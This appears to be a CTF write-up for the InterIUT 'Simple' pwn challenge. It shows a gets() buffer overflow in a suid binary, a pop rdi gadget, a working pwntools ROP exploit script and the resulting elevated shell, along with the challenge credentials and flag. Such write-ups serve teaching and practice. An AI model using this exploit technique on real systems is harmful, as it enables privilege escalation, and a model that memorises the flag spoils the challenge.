Simple - 50 points
Introduction
This challenge was the first pwn challenge of the CTF.
Statement:
Récupérez le contenu du fichier flag.txt situé sur le serveur simple.interiut.ctf en ssh avec l'utilisateur chall
et le mot de passe chall
.
Get the content of the flag.txt file on the server simple.interiut.ctf.
ssh chall@simple.interiut.ctf
password : chall
Author: Masterfox
Getting started
We start by connecting to the server using ssh and we can execute the binary to get a first idea of what it does. It is important to note that the binary has a suid bit set. It means we are probably going to need to exploit the binary to get elevated permissions.
$ ./challenge
AAAAAAAA
$
At the first sight, the binary doesn't do much. So we are going to disassemble it to understand it better how it works. So I will use scp to get the file from the machine.
Let's start by checking the securities on the ELF.
$ checksec --file=challenge
[*] '/home/woody/Documents/CTF/InterIUT/pwn/Simple/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see it's a 64 bits ELF and that there is no PIE. Also there is no stack canary. Hence, we can assume there will be a buffer overflow vulnerability.
This being said, we can also see that the stack is not executable, which mean we won't be able to jump on a shellcode.
Now, I am going to use IDA Pro which is a great disassembling tool.
Here we can see the decompiled code, that I commented for easier understanding.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t v3; // ebx
__uid_t v4; // eax
char v6[48]; // array of 45 chars
v3 = geteuid(); // effective uid
v4 = geteuid();
setreuid(v4, v3); // we set the real uid to the effective ui (suid)
gets(v6); // gets without any length verification -> buffer overflow
return 0;
}
We can also see there are 2 other functions that could be useful.
The heyo function that doesn't look like doing anything at the moment:
void heyo()
{
;
}
Hence the shell function that takes an argument and xor it to a value command, then it executes system on that xored value:
int __fastcall shell(char a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 8; ++i )
command[i] ^= a1;
return system(command);
}
Let's see what the command variable holds.
.data:0000000000404048 command db '+fmj+fewl'
The variable command holds '+fmj+fewl' which looks like '/bin/bash' xored.
We now have every thing in hands to solve the challenge.
Exploit
The first step will be finding the value to xor with command to get /bin/bash. I wrote a tiny python script to achieve this task.
from pwn import xor
command = '+fmj+fewl'
binbash = '/bin/bash'
print(xor(command, binbash))
This gives us 0x4
We will now need to xor command with 4 to get '/bin/bash'
We need to look at x86_64 calling convention to understand how to pass arguments to a function. The first (and only here) argument as to be passed through registers, rdi, rsi, rdx, rcx..
.
So we need to put 4 in rdi.
To do this we are going to use the heyo function. Here is the disassembled code of the function:
push rbp
mov rbp, rsp
pop rdi
retn
There is a pop rdi ! This mean we can put something in rdi so we can set an argument to the shell function !
To overflow the saved instruction pointer of the main function. So our payload will look like:
48 chars of junk + 8 chars (to overwrite rbp) + 8 chars to control rip (next address to jump to).
We are going to put 4 in rdi using heyo then we will call the shell function.
To achieve this easily, I wrote a simple python script.
from pwn import *
r = ssh('chall', 'simple.interiut.ctf', password='chall')
payload = b'A' * 56 # Junk to fill buffer and rbp
payload += p64(0x401156) # heyo -> pop rdi
payload += p64(0x4) # 4 -> value poped
payload += p64(0x40115B) # shell(4)
sh = r.run('sh')
sh.sendline('./challenge')
sh.sendline(payload)
sh.interactive()
We execute the script
python sol.py
[+] Connecting to simple.interiut.ctf on port 22: Done
[!] Only Linux is supported for ASLR checks.
[*] chall@simple.interiut.ctf:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'sh': Done
[*] Switching to interactive mode
$ priv@challenge-simple-5d457bc687-247p2:/challenge$ $ id
uid=666(priv) gid=1000(chall) groups=1000(chall)
priv@challenge-simple-5d457bc687-247p2:/challenge$ $ cat flag.txt
CTFIUT{StUP1de_s7up1DE_5tUpiDe!!}
And we successfuly get an elevated shell as priv ! We can then read the flag.